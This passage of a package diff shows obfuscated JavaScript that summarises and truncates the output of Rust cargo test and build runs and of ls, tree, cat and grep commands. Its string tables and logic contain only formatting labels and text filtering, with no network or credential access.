_0x510120=parseInt(_0xb15d9b(0xd0))/0x1*(-parseInt(_0xb15d9b(0xd2))/0x2)+parseInt(_0xb15d9b(0xbb))/0x3*(parseInt(_0xb15d9b(0xa8))/0x4)+parseInt(_0xb15d9b(0xa1))/0x5+parseInt(_0xb15d9b(0xbf))/0x6+parseInt(_0xb15d9b(0xae))/0x7+-parseInt(_0xb15d9b(0xb7))/0x8+-parseInt(_0xb15d9b(0xba))/0x9*(parseInt(_0xb15d9b(0xb2))/0xa);if(_0x510120===_0x4b7e6c)break;else _0x3e0bbb['push'](_0x3e0bbb['shift']());}catch(_0x576002){_0x3e0bbb['push'](_0x3e0bbb['shift']());}}}(a0_0x31b6,0x1f6d7));Object[a0_0x282674(0x9e)](exports,a0_0x282674(0xcb),{'value':!![]}),exports[a0_0x282674(0xc4)]=filterCargoTest,exports[a0_0x282674(0xa0)]=filterCargoBuild;function filterCargoTest(_0x469694){const _0x3b9f4f=a0_0x282674,_0x55d564=_0x469694['split']('\x0a');let _0x6e7501=0x0,_0x5711b3=0x0,_0xd5faa4=0x0,_0x1f31d0=0x0;const _0x314ef1=[];let _0x3b6d64=![],_0x4a7d9c=[];for(const _0x5a7f5c of _0x55d564){const _0x2a7a3a=_0x5a7f5c[_0x3b9f4f(0xce)](),_0x34f3c2=_0x2a7a3a[_0x3b9f4f(0xab)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x34f3c2){_0x6e7501+=parseInt(_0x34f3c2[0x2]),_0x5711b3+=parseInt(_0x34f3c2[0x3]),_0xd5faa4+=parseInt(_0x34f3c2[0x4]),_0x1f31d0+=parseInt(_0x34f3c2[0x5]);continue;}if(_0x2a7a3a==='failures:'||_0x2a7a3a===_0x3b9f4f(0xb5)){_0x3b6d64=!![];continue;}if(_0x3b6d64){if(_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xc0))&&_0x2a7a3a['endsWith'](_0x3b9f4f(0xc1))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));_0x4a7d9c=[_0x2a7a3a['replace'](/^-+\s*/,'')[_0x3b9f4f(0xa2)](/\s*-+$/,'')];}else{if(_0x2a7a3a===_0x3b9f4f(0xbd)||_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xb0))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c['join']('\x0a'));_0x4a7d9c=[],_0x3b6d64=![];}else _0x2a7a3a[_0x3b9f4f(0xa4)]>0x0&&_0x4a7d9c['push'](_0x5a7f5c);}}}if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));if(_0x6e7501===0x0&&_0x5711b3===0x0&&_0xd5faa4===0x0){if(_0x469694[_0x3b9f4f(0xaa)]('test\x20result:\x20ok'))return _0x3b9f4f(0xaf);return _0x469694;}if(_0x5711b3===0x0){const _0x46be46=[_0x3b9f4f(0xa3)+_0x6e7501+_0x3b9f4f(0xca)];if(_0xd5faa4>0x0)_0x46be46[_0x3b9f4f(0xb1)](_0xd5faa4+'\x20ignored');return _0x46be46[_0x3b9f4f(0xc2)](',\x20');}const _0x2e507b=[_0x3b9f4f(0xa3)+_0x6e7501+'\x20passed,\x20'+_0x5711b3+_0x3b9f4f(0xbc)+_0xd5faa4+_0x3b9f4f(0xb6)];if(_0x314ef1['length']>0x0){_0x2e507b[_0x3b9f4f(0xb1)]('\x0aFailures:');const _0x5309bd=0x3;for(let _0x28dd47=0x0;_0x28dd47<Math[_0x3b9f4f(0x9f)](_0x314ef1['length'],_0x5309bd);_0x28dd47++){const _0x25cb19=_0x314ef1[_0x28dd47][_0x3b9f4f(0xbe)]('\x0a');_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20'+(_0x28dd47+0x1)+'.\x20'+_0x25cb19[0x0]);const _0x2cd658=_0x25cb19[_0x3b9f4f(0xd1)](0x1),_0x5322ce=_0x2cd658['filter'](_0x91eb5c=>_0x91eb5c['trim']()[_0x3b9f4f(0xc8)](_0x3b9f4f(0xcf))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xb9))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xad))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xc7))||_0x91eb5c['includes'](_0x3b9f4f(0xc5)));for(const _0x47bf2b of _0x5322ce[_0x3b9f4f(0xd1)](0x0,0x5)){_0x2e507b['push'](_0x3b9f4f(0xc9)+_0x47bf2b[_0x3b9f4f(0xce)]());}}_0x314ef1[_0x3b9f4f(0xa4)]>_0x5309bd&&_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20...\x20+'+(_0x314ef1[_0x3b9f4f(0xa4)]-_0x5309bd)+'\x20more\x20failures');}return _0x2e507b[_0x3b9f4f(0xc2)]('\x0a');}function filterCargoBuild(_0x2c59ae){const _0x3874be=a0_0x282674,_0xe87cf3=_0x2c59ae[_0x3874be(0xbe)]('\x0a'),_0x7e3236=[],_0x1c3322=[];let _0x751bb5=0x0;for(const _0x4831fb of _0xe87cf3){const _0x206c87=_0x4831fb['trim']();if(_0x206c87['startsWith']('Compiling\x20'))_0x751bb5++;else{if(_0x206c87['startsWith'](_0x3874be(0xa7))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xcc)))_0x7e3236[_0x3874be(0xb1)](_0x206c87);else{if(_0x206c87[_0x3874be(0xc8)](_0x3874be(0xb4))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xac)))_0x1c3322[_0x3874be(0xb1)](_0x206c87);}}}if(_0x1c3322[_0x3874be(0xa4)]===0x0&&_0x7e3236[_0x3874be(0xa4)]===0x0)return _0x751bb5>0x0?_0x3874be(0xb3)+_0x751bb5+_0x3874be(0xd3):_0x2c59ae[_0x3874be(0xce)]();const _0x39789a=[];if(_0x1c3322[_0x3874be(0xa4)]>0x0){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc6)+_0x1c3322[_0x3874be(0xa4)]+'\x20errors,\x20'+_0x7e3236[_0x3874be(0xa4)]+'\x20warnings'),_0x39789a[_0x3874be(0xb1)](_0x3874be(0xcd));for(const _0x1a4b64 of _0x1c3322[_0x3874be(0xd1)](0x0,0x5))_0x39789a['push']('\x20\x20'+_0x1a4b64);if(_0x1c3322[_0x3874be(0xa4)]>0x5)_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc3)+(_0x1c3322['length']-0x5)+_0x3874be(0xa5));}else _0x39789a[_0x3874be(0xb1)](_0x3874be(0xb3)+_0x751bb5+'\x20crates,\x20'+_0x7e3236['length']+_0x3874be(0xb8));if(_0x7e3236[_0x3874be(0xa4)]>0x0&&_0x7e3236['length']<=0x5){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xa6));for(const _0x4bc686 of _0x7e3236)_0x39789a[_0x3874be(0xb1)]('\x20\x20'+_0x4bc686);}else _0x7e3236[_0x3874be(0xa4)]>0x5&&_0x39789a[_0x3874be(0xb1)]('\x0a('+_0x7e3236[_0x3874be(0xa4)]+_0x3874be(0xa9));return _0x39789a[_0x3874be(0xc2)]('\x0a');}
1
+ 'use strict';function a0_0x2922(){const _0x39012d=['\x20----','Cargo:\x20','__esModule','Cargo:\x20compiled\x20','thread','min','8tCdaPi','2784hCZKih','split','join','defineProperty','588168VzRiAs','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','length','\x0aFailures:','6AWbXWD','Compiling\x20','\x20warnings','filterCargoTest','failures:','startsWith','26rYolSE','17182yDIZOI','slice','\x0aWarnings:','warning[','10121922OUGsEW','\x20failed,\x20','panicked','218751JtMyBj','536YXASRo','572684woxQXf','\x20more\x20errors','\x20\x20\x20\x20','\x20crates\x20successfully','\x20more\x20failures','endsWith','60AJFfim','includes','test\x20result:','Cargo\x20test:\x20all\x20tests\x20passed','8040lJfhgj','right:','\x20crates,\x20','\x20errors,\x20','----\x20failures\x20----','\x0aErrors:','\x20\x20...\x20+','\x20passed','\x20ignored','----\x20','\x20passed,\x20','trim','replace','9461179zBDpgp','push','warning:','Cargo\x20test:\x20'];a0_0x2922=function(){return _0x39012d;};return a0_0x2922();}const a0_0x5a6e18=a0_0x318b;(function(_0x2ff3ff,_0x1b041e){const _0x49e45d=a0_0x318b,_0xb6bb96=_0x2ff3ff();while(!![]){try{const _0xa75657=-parseInt(_0x49e45d(0x16e))/0x1*(-parseInt(_0x49e45d(0x165))/0x2)+parseInt(_0x49e45d(0x15f))/0x3*(-parseInt(_0x49e45d(0x16f))/0x4)+parseInt(_0x49e45d(0x175))/0x5*(-parseInt(_0x49e45d(0x15b))/0x6)+-parseInt(_0x49e45d(0x186))/0x7*(parseInt(_0x49e45d(0x156))/0x8)+parseInt(_0x49e45d(0x16a))/0x9+-parseInt(_0x49e45d(0x179))/0xa*(parseInt(_0x49e45d(0x166))/0xb)+-parseInt(_0x49e45d(0x157))/0xc*(-parseInt(_0x49e45d(0x16d))/0xd);if(_0xa75657===_0x1b041e)break;else _0xb6bb96['push'](_0xb6bb96['shift']());}catch(_0x122607){_0xb6bb96['push'](_0xb6bb96['shift']());}}}(a0_0x2922,0xebaf7));Object[a0_0x5a6e18(0x15a)](exports,a0_0x5a6e18(0x18c),{'value':!![]}),exports[a0_0x5a6e18(0x162)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x318b(_0x450c49,_0x411447){_0x450c49=_0x450c49-0x155;const _0x292235=a0_0x2922();let _0x318b34=_0x292235[_0x450c49];return _0x318b34;}function filterCargoTest(_0x350454){const _0x32555d=a0_0x5a6e18,_0x261dfd=_0x350454[_0x32555d(0x158)]('\x0a');let _0x582dff=0x0,_0x4435f8=0x0,_0x5e0ab8=0x0,_0x3f41dc=0x0;const _0x194cbc=[];let _0x4a96e9=![],_0x42cd40=[];for(const _0x4ce7ce of _0x261dfd){const _0x2e7655=_0x4ce7ce[_0x32555d(0x184)](),_0x4c1dfc=_0x2e7655['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x4c1dfc){_0x582dff+=parseInt(_0x4c1dfc[0x2]),_0x4435f8+=parseInt(_0x4c1dfc[0x3]),_0x5e0ab8+=parseInt(_0x4c1dfc[0x4]),_0x3f41dc+=parseInt(_0x4c1dfc[0x5]);continue;}if(_0x2e7655===_0x32555d(0x163)||_0x2e7655===_0x32555d(0x17d)){_0x4a96e9=!![];continue;}if(_0x4a96e9){if(_0x2e7655[_0x32555d(0x164)](_0x32555d(0x182))&&_0x2e7655[_0x32555d(0x174)](_0x32555d(0x18a))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[_0x2e7655[_0x32555d(0x185)](/^-+\s*/,'')[_0x32555d(0x185)](/\s*-+$/,'')];}else{if(_0x2e7655===_0x32555d(0x163)||_0x2e7655['startsWith'](_0x32555d(0x177))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[],_0x4a96e9=![];}else _0x2e7655[_0x32555d(0x15d)]>0x0&&_0x42cd40[_0x32555d(0x187)](_0x4ce7ce);}}}if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40['join']('\x0a'));if(_0x582dff===0x0&&_0x4435f8===0x0&&_0x5e0ab8===0x0){if(_0x350454['includes']('test\x20result:\x20ok'))return _0x32555d(0x178);return _0x350454;}if(_0x4435f8===0x0){const _0x161696=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x180)];if(_0x5e0ab8>0x0)_0x161696[_0x32555d(0x187)](_0x5e0ab8+'\x20ignored');return _0x161696[_0x32555d(0x159)](',\x20');}const _0x29b4c4=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x183)+_0x4435f8+_0x32555d(0x16b)+_0x5e0ab8+_0x32555d(0x181)];if(_0x194cbc[_0x32555d(0x15d)]>0x0){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x15e));const _0x459e81=0x3;for(let _0x34aa27=0x0;_0x34aa27<Math[_0x32555d(0x155)](_0x194cbc[_0x32555d(0x15d)],_0x459e81);_0x34aa27++){const _0x5da595=_0x194cbc[_0x34aa27][_0x32555d(0x158)]('\x0a');_0x29b4c4['push']('\x20\x20'+(_0x34aa27+0x1)+'.\x20'+_0x5da595[0x0]);const _0x35ad12=_0x5da595[_0x32555d(0x167)](0x1),_0x23eb77=_0x35ad12['filter'](_0x58523d=>_0x58523d[_0x32555d(0x184)]()['startsWith'](_0x32555d(0x18e))||_0x58523d['includes'](_0x32555d(0x16c))||_0x58523d[_0x32555d(0x176)]('assert')||_0x58523d[_0x32555d(0x176)]('left:')||_0x58523d[_0x32555d(0x176)](_0x32555d(0x17a)));for(const _0x17758f of _0x23eb77['slice'](0x0,0x5)){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x171)+_0x17758f[_0x32555d(0x184)]());}}_0x194cbc[_0x32555d(0x15d)]>_0x459e81&&_0x29b4c4[_0x32555d(0x187)]('\x20\x20...\x20+'+(_0x194cbc[_0x32555d(0x15d)]-_0x459e81)+_0x32555d(0x173));}return _0x29b4c4[_0x32555d(0x159)]('\x0a');}function filterCargoBuild(_0x391c5c){const _0x180018=a0_0x5a6e18,_0x2432da=_0x391c5c['split']('\x0a'),_0x397eaa=[],_0x444c75=[];let _0x329e55=0x0;for(const _0x2a9b69 of _0x2432da){const _0x579722=_0x2a9b69[_0x180018(0x184)]();if(_0x579722['startsWith'](_0x180018(0x160)))_0x329e55++;else{if(_0x579722['startsWith'](_0x180018(0x169))||_0x579722[_0x180018(0x164)](_0x180018(0x188)))_0x397eaa[_0x180018(0x187)](_0x579722);else{if(_0x579722[_0x180018(0x164)]('error[')||_0x579722[_0x180018(0x164)]('error:'))_0x444c75[_0x180018(0x187)](_0x579722);}}}if(_0x444c75[_0x180018(0x15d)]===0x0&&_0x397eaa['length']===0x0)return _0x329e55>0x0?_0x180018(0x18d)+_0x329e55+_0x180018(0x172):_0x391c5c[_0x180018(0x184)]();const _0x41e88b=[];if(_0x444c75['length']>0x0){_0x41e88b['push'](_0x180018(0x18b)+_0x444c75[_0x180018(0x15d)]+_0x180018(0x17c)+_0x397eaa['length']+_0x180018(0x161)),_0x41e88b['push'](_0x180018(0x17e));for(const _0x137a2e of _0x444c75[_0x180018(0x167)](0x0,0x5))_0x41e88b[_0x180018(0x187)]('\x20\x20'+_0x137a2e);if(_0x444c75[_0x180018(0x15d)]>0x5)_0x41e88b[_0x180018(0x187)](_0x180018(0x17f)+(_0x444c75[_0x180018(0x15d)]-0x5)+_0x180018(0x170));}else _0x41e88b[_0x180018(0x187)]('Cargo:\x20compiled\x20'+_0x329e55+_0x180018(0x17b)+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x161));if(_0x397eaa['length']>0x0&&_0x397eaa['length']<=0x5){_0x41e88b[_0x180018(0x187)](_0x180018(0x168));for(const _0x38bb71 of _0x397eaa)_0x41e88b['push']('\x20\x20'+_0x38bb71);}else _0x397eaa[_0x180018(0x15d)]>0x5&&_0x41e88b[_0x180018(0x187)]('\x0a('+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x15c));return _0x41e88b[_0x180018(0x159)]('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x182c7a=a0_0x470e;function a0_0x152a(){const _0x1b572e=['3840282fpDLKn','Empty\x20directory','\x20more\x20files','includes','keys','...\x20+','10KfPUCT','__esModule','17459684kUuJLj','\x0a...\x20(','10kiqmJO','filterGrep','5664177AYvMLr','filterTree','\x20lines\x20truncated]\x20...\x0a','slice','match','\x20more\x20matches','65936AJgKaZ','1259251FwudBr','\x20matches\x20in\x20this\x20file)','\x20more\x20directories','\x20files)',':\x20...\x20(','split','filter','push','\x20lines\x20total)','16eilbxV','startsWith','\x20directories,\x20','2PerDZD','defineProperty','990848SfmGfZ','filterCat','trim','endsWith','length','2287497CMLJLF','\x0a...\x20[','substring','join'];a0_0x152a=function(){return _0x1b572e;};return a0_0x152a();}(function(_0x5809a8,_0x3d0f34){const _0x1808b9=a0_0x470e,_0x403156=_0x5809a8();while(!![]){try{const _0x3ceb29=-parseInt(_0x1808b9(0x128))/0x1+-parseInt(_0x1808b9(0x135))/0x2*(-parseInt(_0x1808b9(0x13c))/0x3)+parseInt(_0x1808b9(0x137))/0x4*(parseInt(_0x1808b9(0x120))/0x5)+parseInt(_0x1808b9(0x140))/0x6+parseInt(_0x1808b9(0x129))/0x7*(-parseInt(_0x1808b9(0x132))/0x8)+parseInt(_0x1808b9(0x122))/0x9*(parseInt(_0x1808b9(0x11c))/0xa)+-parseInt(_0x1808b9(0x11e))/0xb;if(_0x3ceb29===_0x3d0f34)break;else _0x403156['push'](_0x403156['shift']());}catch(_0x2e45de){_0x403156['push'](_0x403156['shift']());}}}(a0_0x152a,0x7d935));function a0_0x470e(_0x37dba2,_0x31a14e){_0x37dba2=_0x37dba2-0x11c;const _0x152a3a=a0_0x152a();let _0x470ed6=_0x152a3a[_0x37dba2];return _0x470ed6;}Object[a0_0x182c7a(0x136)](exports,a0_0x182c7a(0x11d),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x182c7a(0x123)]=filterTree,exports[a0_0x182c7a(0x138)]=filterCat,exports[a0_0x182c7a(0x121)]=filterGrep;function filterLs(_0x3919d4){const _0x85518f=a0_0x182c7a,_0x2de4cd=_0x3919d4[_0x85518f(0x12e)]('\x0a')[_0x85518f(0x12f)](_0x128440=>_0x128440['trim']()[_0x85518f(0x13b)]>0x0);if(_0x2de4cd['length']===0x0)return _0x85518f(0x141);if(_0x2de4cd[_0x85518f(0x13b)]<=0x1e)return _0x3919d4[_0x85518f(0x139)]();const _0x18590f=[],_0x6577a3=[];for(const _0x2db643 of _0x2de4cd){const _0x431e8e=_0x2db643['trim']();if(_0x431e8e[_0x85518f(0x133)]('total\x20')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('..'))continue;_0x431e8e[_0x85518f(0x13a)]('/')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('\x20')?_0x18590f[_0x85518f(0x130)](_0x431e8e):_0x6577a3[_0x85518f(0x130)](_0x431e8e);}const _0x145f4f=[];return _0x18590f[_0x85518f(0x13b)]>0x0&&(_0x18590f[_0x85518f(0x13b)]<=0xf?_0x145f4f[_0x85518f(0x130)](..._0x18590f):(_0x145f4f[_0x85518f(0x130)](..._0x18590f[_0x85518f(0x125)](0x0,0xa)),_0x145f4f[_0x85518f(0x130)](_0x85518f(0x145)+(_0x18590f['length']-0xa)+_0x85518f(0x12b)))),_0x6577a3['length']>0x0&&(_0x6577a3[_0x85518f(0x13b)]<=0x14?_0x145f4f[_0x85518f(0x130)](..._0x6577a3):(_0x145f4f[_0x85518f(0x130)](..._0x6577a3[_0x85518f(0x125)](0x0,0xf)),_0x145f4f[_0x85518f(0x130)]('...\x20+'+(_0x6577a3[_0x85518f(0x13b)]-0xf)+_0x85518f(0x142)))),_0x145f4f[_0x85518f(0x130)]('\x0a('+_0x18590f[_0x85518f(0x13b)]+_0x85518f(0x134)+_0x6577a3['length']+_0x85518f(0x12c)),_0x145f4f[_0x85518f(0x13f)]('\x0a');}function filterTree(_0x36dfa3){const _0x4521b9=a0_0x182c7a,_0xeb9af0=_0x36dfa3[_0x4521b9(0x12e)]('\x0a');if(_0xeb9af0['length']<=0x32)return _0x36dfa3[_0x4521b9(0x139)]();const _0x50cdcc=[];let _0x1dd5dc=0x0,_0x47dead=0x0,_0x2488c6=0x0;for(const _0xbfc5c7 of _0xeb9af0){const _0x1b0526=_0xbfc5c7['match'](/(\d+)\s+director/),_0xf7dc52=_0xbfc5c7[_0x4521b9(0x126)](/(\d+)\s+file/);if(_0x1b0526)_0x2488c6=parseInt(_0x1b0526[0x1]);if(_0xf7dc52)_0x47dead=parseInt(_0xf7dc52[0x1]);const _0x50c972=(_0xbfc5c7[_0x4521b9(0x126)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x50c972<=0x4&&(_0x50cdcc['push'](_0xbfc5c7),_0x1dd5dc++);}return _0xeb9af0[_0x4521b9(0x13b)]>_0x50cdcc[_0x4521b9(0x13b)]&&_0x50cdcc['push'](_0x4521b9(0x11f)+_0x2488c6+_0x4521b9(0x134)+_0x47dead+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x50cdcc[_0x4521b9(0x13f)]('\x0a');}function filterCat(_0x584e09){const _0x3e37fa=a0_0x182c7a,_0x89e201=_0x584e09[_0x3e37fa(0x12e)]('\x0a');if(_0x89e201[_0x3e37fa(0x13b)]<=0x64)return _0x584e09;const _0x18e035=[];return _0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](0x0,0x32)),_0x18e035['push'](_0x3e37fa(0x13d)+(_0x89e201['length']-0x50)+_0x3e37fa(0x124)),_0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](-0x1e)),_0x18e035[_0x3e37fa(0x130)]('\x0a('+_0x89e201['length']+_0x3e37fa(0x131)),_0x18e035[_0x3e37fa(0x13f)]('\x0a');}function filterGrep(_0x3010e1){const _0x565ec8=a0_0x182c7a,_0xf3d584=_0x3010e1[_0x565ec8(0x12e)]('\x0a')[_0x565ec8(0x12f)](_0x29e9a6=>_0x29e9a6[_0x565ec8(0x139)]()[_0x565ec8(0x13b)]>0x0);if(_0xf3d584['length']===0x0)return'No\x20matches\x20found';if(_0xf3d584[_0x565ec8(0x13b)]<=0x32)return _0x3010e1[_0x565ec8(0x139)]();const _0x59d8be={},_0x22f9ee=[];for(const _0x2cb1e7 of _0xf3d584){const _0x549f08=_0x2cb1e7['indexOf'](':');if(_0x549f08>0x0&&_0x549f08<0xc8){const _0x1dbf53=_0x2cb1e7[_0x565ec8(0x13e)](0x0,_0x549f08);if(_0x1dbf53['includes']('/')||_0x1dbf53[_0x565ec8(0x143)]('\x5c')||_0x1dbf53[_0x565ec8(0x143)]('.')){if(!_0x59d8be[_0x1dbf53])_0x59d8be[_0x1dbf53]=[];_0x59d8be[_0x1dbf53][_0x565ec8(0x130)](_0x2cb1e7[_0x565ec8(0x13e)](_0x549f08+0x1)[_0x565ec8(0x139)]());continue;}}_0x22f9ee[_0x565ec8(0x130)](_0x2cb1e7);}const _0xba6233=[],_0xc019a9=Object[_0x565ec8(0x144)](_0x59d8be);if(_0xc019a9[_0x565ec8(0x13b)]>0x0){const _0x803ded=0x14,_0x1a33c6=_0xc019a9[_0x565ec8(0x125)](0x0,_0x803ded);for(const _0x31998d of _0x1a33c6){const _0x2112ce=_0x59d8be[_0x31998d];if(_0x2112ce[_0x565ec8(0x13b)]<=0x3)for(const _0x338b81 of _0x2112ce){_0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x338b81);}else _0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x2112ce[0x0]),_0xba6233[_0x565ec8(0x130)](_0x31998d+_0x565ec8(0x12d)+_0x2112ce[_0x565ec8(0x13b)]+_0x565ec8(0x12a));}_0xc019a9[_0x565ec8(0x13b)]>_0x803ded&&_0xba6233[_0x565ec8(0x130)](_0x565ec8(0x145)+(_0xc019a9[_0x565ec8(0x13b)]-_0x803ded)+'\x20more\x20files\x20with\x20matches');}if(_0x22f9ee['length']>0x0){const _0x4896c4=0x1e;_0xba6233[_0x565ec8(0x130)](..._0x22f9ee[_0x565ec8(0x125)](0x0,_0x4896c4)),_0x22f9ee[_0x565ec8(0x13b)]>_0x4896c4&&_0xba6233[_0x565ec8(0x130)]('...\x20+'+(_0x22f9ee[_0x565ec8(0x13b)]-_0x4896c4)+_0x565ec8(0x127));}const _0x3aa6c4=_0xf3d584[_0x565ec8(0x13b)];return _0xba6233['push']('\x0a('+_0x3aa6c4+'\x20matches\x20across\x20'+(_0xc019a9[_0x565ec8(0x13b)]||'?')+_0x565ec8(0x12c)),_0xba6233[_0x565ec8(0x13f)]('\x0a');}
1
+ 'use strict';const a0_0x25a583=a0_0x42ef;(function(_0x496698,_0x504d12){const _0x305ce6=a0_0x42ef,_0x3814e8=_0x496698();while(!![]){try{const _0x3ff101=parseInt(_0x305ce6(0x1a7))/0x1*(-parseInt(_0x305ce6(0x19f))/0x2)+-parseInt(_0x305ce6(0x1a2))/0x3+parseInt(_0x305ce6(0x1be))/0x4*(-parseInt(_0x305ce6(0x1bb))/0x5)+parseInt(_0x305ce6(0x19a))/0x6+parseInt(_0x305ce6(0x198))/0x7+-parseInt(_0x305ce6(0x1b6))/0x8+parseInt(_0x305ce6(0x1af))/0x9;if(_0x3ff101===_0x504d12)break;else _0x3814e8['push'](_0x3814e8['shift']());}catch(_0x5d1e5c){_0x3814e8['push'](_0x3814e8['shift']());}}}(a0_0x25ed,0xb6ac7));Object[a0_0x25a583(0x1bf)](exports,a0_0x25a583(0x1ac),{'value':!![]}),exports[a0_0x25a583(0x1bc)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x25a583(0x19e)]=filterCat,exports['filterGrep']=filterGrep;function a0_0x42ef(_0x44fe5f,_0x153dae){_0x44fe5f=_0x44fe5f-0x198;const _0x25ede1=a0_0x25ed();let _0x42ef8f=_0x25ede1[_0x44fe5f];return _0x42ef8f;}function filterLs(_0x5a8aca){const _0x45ae6a=a0_0x25a583,_0x392b21=_0x5a8aca[_0x45ae6a(0x1b7)]('\x0a')[_0x45ae6a(0x199)](_0x598bf7=>_0x598bf7[_0x45ae6a(0x1b9)]()[_0x45ae6a(0x1ae)]>0x0);if(_0x392b21[_0x45ae6a(0x1ae)]===0x0)return _0x45ae6a(0x1a6);if(_0x392b21['length']<=0x1e)return _0x5a8aca[_0x45ae6a(0x1b9)]();const _0xfed12d=[],_0x3a372a=[];for(const _0x475cfa of _0x392b21){const _0x208200=_0x475cfa['trim']();if(_0x208200['startsWith'](_0x45ae6a(0x1b8))||_0x208200['startsWith']('d')&&_0x208200[_0x45ae6a(0x1a9)]('..'))continue;_0x208200[_0x45ae6a(0x1b5)]('/')||_0x208200[_0x45ae6a(0x1a0)]('d')&&_0x208200[_0x45ae6a(0x1a9)]('\x20')?_0xfed12d['push'](_0x208200):_0x3a372a[_0x45ae6a(0x19d)](_0x208200);}const _0x23c644=[];return _0xfed12d[_0x45ae6a(0x1ae)]>0x0&&(_0xfed12d['length']<=0xf?_0x23c644['push'](..._0xfed12d):(_0x23c644[_0x45ae6a(0x19d)](..._0xfed12d[_0x45ae6a(0x1b3)](0x0,0xa)),_0x23c644[_0x45ae6a(0x19d)](_0x45ae6a(0x1aa)+(_0xfed12d[_0x45ae6a(0x1ae)]-0xa)+_0x45ae6a(0x1b2)))),_0x3a372a[_0x45ae6a(0x1ae)]>0x0&&(_0x3a372a[_0x45ae6a(0x1ae)]<=0x14?_0x23c644[_0x45ae6a(0x19d)](..._0x3a372a):(_0x23c644['push'](..._0x3a372a[_0x45ae6a(0x1b3)](0x0,0xf)),_0x23c644[_0x45ae6a(0x19d)]('...\x20+'+(_0x3a372a[_0x45ae6a(0x1ae)]-0xf)+'\x20more\x20files'))),_0x23c644[_0x45ae6a(0x19d)]('\x0a('+_0xfed12d[_0x45ae6a(0x1ae)]+_0x45ae6a(0x19c)+_0x3a372a[_0x45ae6a(0x1ae)]+_0x45ae6a(0x1ad)),_0x23c644[_0x45ae6a(0x1a1)]('\x0a');}function filterTree(_0x4f9dbb){const _0x280f1d=a0_0x25a583,_0x566ff0=_0x4f9dbb[_0x280f1d(0x1b7)]('\x0a');if(_0x566ff0['length']<=0x32)return _0x4f9dbb[_0x280f1d(0x1b9)]();const _0x1df809=[];let _0x442770=0x0,_0x1caead=0x0,_0x106c6c=0x0;for(const _0x2cdaf6 of _0x566ff0){const _0x51dfb8=_0x2cdaf6['match'](/(\d+)\s+director/),_0xaaae03=_0x2cdaf6['match'](/(\d+)\s+file/);if(_0x51dfb8)_0x106c6c=parseInt(_0x51dfb8[0x1]);if(_0xaaae03)_0x1caead=parseInt(_0xaaae03[0x1]);const _0x38ef1a=(_0x2cdaf6[_0x280f1d(0x1ab)](/^[│├└\s─]+/)||[''])[0x0][_0x280f1d(0x1ae)];_0x38ef1a<=0x4&&(_0x1df809[_0x280f1d(0x19d)](_0x2cdaf6),_0x442770++);}return _0x566ff0['length']>_0x1df809[_0x280f1d(0x1ae)]&&_0x1df809[_0x280f1d(0x19d)](_0x280f1d(0x1b1)+_0x106c6c+_0x280f1d(0x19c)+_0x1caead+_0x280f1d(0x1a4)),_0x1df809[_0x280f1d(0x1a1)]('\x0a');}function filterCat(_0x1df808){const _0x3fc643=a0_0x25a583,_0x31ef41=_0x1df808[_0x3fc643(0x1b7)]('\x0a');if(_0x31ef41[_0x3fc643(0x1ae)]<=0x64)return _0x1df808;const _0x8bb85c=[];return 